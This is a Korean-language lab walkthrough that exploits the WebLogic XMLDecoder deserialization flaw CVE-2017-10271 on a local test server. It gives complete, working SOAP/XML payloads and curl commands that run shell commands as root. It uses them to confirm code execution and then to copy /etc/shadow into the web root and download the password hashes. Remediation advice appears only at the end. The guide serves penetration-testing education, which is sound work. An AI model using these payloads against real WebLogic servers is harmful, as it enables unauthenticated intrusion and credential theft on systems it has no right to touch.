
CVE-2017-10271 (WebLogic XMLDecoder 역직렬화 RCE) 취약점을 수동 페이로드 구성, 블라인드 RCE 우회, 권한 확인 및 데이터 유출을 포함한 사후 익스플로잇 기술을 이용하여 익스플로잇하는 단계별 실습 가이드입니다.

AdminServer가 base_domain에 속하며 Development Mode로 실행 중)7001http, t3, iiop, ldap, snmp7001에서 t3 프로토콜을 노출합니다. 이 기본 구성은 WebLogic 버전이 RMI(원격 메서드 호출)를 통한 자바 객체 역직렬화 관련 취약점에 대해 패치되지 않은 경우 높은 위험을 수반합니다.7001에서 http 프로토콜로 실행되므로 /console/login/LoginForm.jsp와 같은 민감한 엔드포인트에 대한 디렉터리 스캐닝에 취약해집니다.대상의 열린 포트가 식별되면 nmap을 사용하여 포트를 스캔하여 실행 중인 서비스를 확인합니다.

따라서 대상은 Oracle WebLogic Server 10.3.6.0 버전의 HTTP 서비스를 실행 중입니다. 이는 중요한 CVE(예: 역직렬화, 인증 우회) 시리즈로 유명한 잘 알려진 엔터프라이즈 Java 애플리케이션 서버입니다. 그러나 이 정보만으로는 시스템이 어떤 특정 취약점에 취약한지 결론짓기에 충분하지 않습니다. 연결된 웹 서비스 구성 요소를 더 깊이 스캔해야 합니다.
dirsearch 도구를 사용하여 민감한 엔드포인트를 식별하겠습니다. WebLogic은 Java 플랫폼에서 실행되므로 .jsp 및 .xml 파일이 가장 민감한 대상입니다. 200 상태 코드를 반환하는 엔드포인트에 초점을 맞추겠습니다.
dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

/console/login/LoginForm.jsp: WebLogic Admin Console 웹 인터페이스의 로그인 포털입니다. 기본 자격 증명 무차별 대입 시나리오 또는 인증 우회 취약점(예: CVE-2020-14882)에 대한 중요한 대상입니다./bea_wls_internal/: WebLogic Server의 기본 내부 웹 애플리케이션 디렉터리입니다. 이 구성 요소는 정적 시스템 파일에 대한 액세스 및 상호 작용을 허용합니다./wls-wsat/CoordinatorPortType: 이것이 가장 중요한 발견입니다. 200 OK 상태 코드로 이 경로가 존재한다는 것은 Web Services Atomic Transactions (wls-wsat) 구성 요소가 활성화되어 데이터를 수신할 준비가 되었음을 확인합니다./uddiexplorer 및 /uddi/uddilistener: 이는 WebLogic Server에 기본적으로 통합되어 웹 서비스를 관리 및 등록하는 UDDI Explorer(Universal Description, Discovery, and Integration) 구성 요소입니다. 이 구성 요소는 SSRF(Server-Side Request Forgery) - CVE-2014-4210 취약점으로 매우 유명합니다. 공격자는 /uddiexplorer/SearchPublicRegistries.jsp 엔드포인트에서 UDDI의 공개 레지스트리 검색 인터페이스를 활용하여 WebLogic 서버가 백엔드 내부 네트워크로 임의의 HTTP 요청을 보내도록 강제할 수 있습니다.⇒ 생각: /wls-wsat (XMLDecoder를 통한 RCE 위험)과 /uddiexplorer (SSRF 위험)의 공존은 이 WebLogic 서버의 공격 표면이 매우 광범위함을 나타냅니다.
WebLogic 10.3.6.0 서버에 공존하는 두 개의 독립적인 공격 표면을 식별한 후, 우리는 두 방향을 분석합니다.
/uddiexplorer의 SSRF 취약점 (CVE-2014-4210):
/wls-wsat의 XMLDecoder 역직렬화 취약점 (CVE-2017-10271):
⇒ 결정: Cyber Attack Chain 모델에서 RCE는 항상 최종 목표입니다. 이는 시스템에 대한 직접적이고 완전한 제어(Full System Compromise)를 제공하기 때문입니다. RCE 기능이 달성되면 UDDI 애플리케이션을 통한 SSRF 악용은 중복됩니다. RCE 셸에서는 UDDI 인터페이스의 매개변수에 제한받지 않고 직접적이고 유연하며 더 강력한 방식(시스템 명령어 curl, wget 사용)으로 내부 네트워크 쿼리를 적극적으로 수행할 수 있기 때문입니다.
따라서 익스플로잇 우선순위 논리 측면에서 우리는 보조 경로(/uddiexplorer의 SSRF)를 제외하고 전적으로 연구에 집중하기로 결정했습니다: /wls-wsat/CoordinatorPortType의 XMLDecoder 역직렬화 취약점을 통한 원격 코드 실행 (RCE).
CVE-2017-10271의 근본 취약점은 WebLogic의 WorkContextXmlInputAdapter 클래스가 <work:WorkContext> 태그의 데이터를 구문 분석하기 위해 java.beans.XMLDecoder 객체를 사용하기 때문에 발생합니다. 기본적으로 이 XMLDecoder 클래스는 XML 태그 형식으로 정의된 모든 Java 클래스를 자동으로 인스턴스화합니다. 여기에서 단계별 시스템 행동 상호 작용을 기반으로 검증을 수행합니다.
이 서블릿의 실제 활성 상태를 빠르게 확인하려면 일반 HTTP GET 프로브 요청을 보냅니다.
curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType
응답은 HTTP/1.1 200 OK 와 함께 구현 클래스 CoordinatorPortTypePortImpl을 반환하여 서블릿이 JVM 메모리에 성공적으로 로드되었음을 확인합니다.
Web Services 서블릿은 POST 메서드를 통해 SOAP XML 데이터를 처리하도록 설계되었으므로, 시스템의 데이터 처리 파이프라인을 입증하기 위해 두 개의 POST 요청으로 비교 테스트를 진행합니다.
1. 표준 SOAP POST 요청
완전한 네임스페이스를 포함하지만 실행 내용이 없는 표준 SOAP XML Envelope를 전송하여 파서의 정상적인 구문 분석 능력을 테스트합니다.
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

Cannot find dispatch method).분석:
서버는 POST 포트에서 잘 작동하는 XML 리더를 가지고 있어 사용자가 보낸 전체 XML 트리 구조를 수신하고 디코딩할 준비가 되었습니다. 이는 클라이언트에서 WebLogic 메모리 깊숙이 이어지는 데이터 파이프라인이 완전히 작동함을 확인합니다.
2. 비정상 XML POST 요청
다음으로, 파서의 예외 처리 메커니즘을 관찰하기 위해 의도적으로 XML 구조를 깨뜨립니다(예: 네임스페이스 누락).
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv"를 반환합니다.분석:
com.ctc.wstx)로 직접 전달되어 구문 분석됩니다.실제 실험 결과와 시스템 아키텍처 분석(서블릿이 POST 포트를 통해 원시 패킷을 수신하고, Parser 계층에 WAF/무결성 필터가 없으며, 원시 Java XML Reader 오류를 직접 던지는 것)의 조합은 서버가 CVE-2017-10271 (XMLDecoder 역직렬화)의 범위에 직접 속하는 매우 민감한 서비스 구조를 실행 중임을 확인합니다.
XMLDecoder의 기본 구문 분석 메커니즘에는 클래스 제어 필터가 없기 때문에, 삭제 없이 원시 POST 데이터를 수신하는 서버는 다음 단계에서 Java 시스템 실행 객체를 직접 호출하는 페이로드를 설계할 수 있는 완벽한 통로입니다.
WebLogic 10.3.6.0 서버는 오래된 Java 환경에서 실행되고 XMLDecoder에 대해 엄격한 클래스 제어 필터를 적용하지 않기 때문에 공격자는 실행 가능한 Java 객체를 직접 주입할 수 있습니다.
Java에서 명령을 실행하는 표준 클래스는 java.lang.ProcessBuilder 입니다. 이 Java 객체 초기화 로직을 XMLDecoder와 호환되는 XML 형식으로 매핑합니다.
<void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void method="start"/>ProcessBuilder를 통해 시스템 명령이 실행되면 WebLogic 서버는 OS에서 명령을 백그라운드로 실행하고 HTTP 500 오류 코드만 반환합니다(명령 출력을 HTTP 응답 화면에 직접 출력하지 않음). 이 메커니즘을 웹 애플리케이션 매핑이라고 합니다. 모든 웹 서버는 이렇게 작동합니다. war/ 디렉터리는 해당 애플리케이션의 Document Root입니다. war/에 있는 모든 파일은 짧은 URL을 통해 액세스할 수 있습니다.
⇒ 블라인드 RCE를 우회하려면 물리적 경로를 찾아야 합니다. id > ... 명령은 운영 체제에서 실행되므로 실제 경로가 필요합니다.
/war 디렉터리를 찾기 위한 화이트박스 분석
컨테이너 내부에서 로드 중인 bea_wls_internal 애플리케이션의 실제 물리적 경로를 찾기 위해 호스트 시스템에서 직접 시스템 검색 쿼리를 실행합니다.

결과
/root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war (원본 아카이브 라이브러리 파일)./root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal (AdminServer의 임시 파티션 _WL_internal에 있는 압축 해제된 활성 애플리케이션 디렉터리). 이 활성 디렉터리 깊숙이 들어가면 정적 파일이 포함된 하위 디렉터리인 /9j4dqk/war/를 찾을 수 있습니다. 이는 애플리케이션의 절대 Web Root 디렉터리이며, 공격자는 RCE 실행 결과를 표시하기 위해 정적 파일을 작성할 수 있는 쓰기 권한을 가지고 있습니다.생각: 위 디렉터리의 정적 파일 rce.txt로 id의 출력을 리디렉션하는 명령 설계: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt
위 분석에서 Java의 XMLDecoder 클래스는 XML 태그 형태로 정의된 모든 객체를 자동으로 인스턴스화하고 실행한다는 것을 알 수 있습니다. Java에서 운영 체제 명령을 호출하는 표준 클래스는 java.lang.ProcessBuilder입니다.
동등한 Java 코드를 XMLDecoder XML 구조로 매핑하는 과정:
동등한 Java 코드:
String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();
XMLDecoder XML 태그로 매핑:
Kali Linux 시스템에 완전한 SOAP 구조가 포함된 exploit.xml 파일을 생성합니다.
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Kali Linux 시스템에서 대상 엔드포인트로 익스플로잇 페이로드가 포함된 XML 파일을 전송합니다.
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d @exploit.xml

Web Root 디렉터리에 생성된 정적 파일 rce.txt에 접근합니다.
curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

RCE 익스플로잇 성공. id 명령의 결과는 WebLogic 프로세스가 root 권한으로 실행 중임을 확인합니다.
id 명령의 실행 결과는 uid=0(root)를 반환합니다. 이는 WebLogic Server 프로세스가 운영 체제의 최고 root 권한으로 직접 실행되고 있음을 증명합니다. 공격자는 추가적인 권한 상승 단계 없이 시스템을 완전히 제어할 수 있습니다.
공격자는 /etc/shadow와 같은 민감한 시스템 파일을 쉽게 읽을 수 있습니다. exploit_shadow.xml 파일을 생성하고 XML 페이로드를 통해 WebLogic 서버가 자동으로 실행하도록 전송합니다. 이 서버에 파일을 읽도록 명령하고 Document root 디렉터리로 리디렉션하여 외부 URL에서 접근할 수 있도록 합니다.
cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
EOF
그런 다음 페이로드를 전송하고 외부에서 파일을 읽습니다.
curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml
curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

전체 시스템 계정 목록과 비밀번호 해시가 완전히 유출되었습니다.
컨테이너가 격리된 내부 네트워크 환경(Docker 호스트의 NAT/Bridge)에서 실행되므로 외부 LAN의 Kali 시스템으로 직접 리버스 연결(Reverse Shell)을 설정하는 것은 라우팅 장애를 만날 수 있습니다. 실제 환경(프로덕션)에서는 서버에 아웃바운드 인터넷 연결이 있는 경우 공격자가 완전히 리버스 셸을 설정할 수 있습니다.
그러나 root 권한으로 원격 코드 실행(RCE) 기능을 직접 보유하고 Web Root를 통해 대화식으로 파일을 읽고 쓸 수 있는 능력은 전체 시스템 손상을 확인하기에 충분합니다.
이 WebLogic 시스템의 XMLDecoder 역직렬화 취약점(CVE-2017-10271)은 가장 심각한 위험 수준(Critical) 으로 평가됩니다.
이 심각한 보안 취약점을 완전히 해결하기 위해 관리자는 즉시 다음 조치를 구현해야 합니다.
긴급 우선순위 (단기):
wls-wsat.war 폴더를 삭제하고 서비스를 다시 시작하여 이 공격 표면을 완전히 제거합니다.oracle)으로 실행하도록 재구성하고, 절대 root 권한으로 프로세스를 실행하지 않아야 합니다.장기 우선순위 (심층 방어):
<java>, <object>, <void>, <class>, <method>와 같은 XMLDecoder 특성 XML 태그를 포함하는 /wls-wsat/ 엔드포인트에 대한 POST 요청을 탐지하고 차단합니다.| Java 구성 요소 | 해당 XML 태그 |
|---|
ProcessBuilder 클래스 선언 | <void class="java.lang.ProcessBuilder"> |
매개변수 배열 String[] | <array class="java.lang.String" length="3"> |
| 배열 요소 (인덱스 0, 1, 2) | <void index="0"><string>...</string></void> |
.start() 메서드 호출 | <void method="start"/> |
| 기준 | 평가 | 세부 사항 |
|---|
| CVSS 점수 | 9.8 (Critical) | 매우 높은 영향 점수 |
| 인증 | 필요 없음 | 악용에는 계정이나 인증이 필요하지 않음 |
| 복잡성 | 매우 낮음 | 악성 SOAP XML 페이로드를 포함한 단일 HTTP POST 요청만 보내면 됨 |
| 획득 권한 | root | 최고 시스템 권한으로 컨테이너에 대한 완전한 제어 획득 |
| 수평 이동 | 높음 | 손상된 컨테이너는 다른 내부 네트워크 컨테이너 및 물리적 호스트 서버를 공격하는 피벗 포인트로 사용될 수 있음 |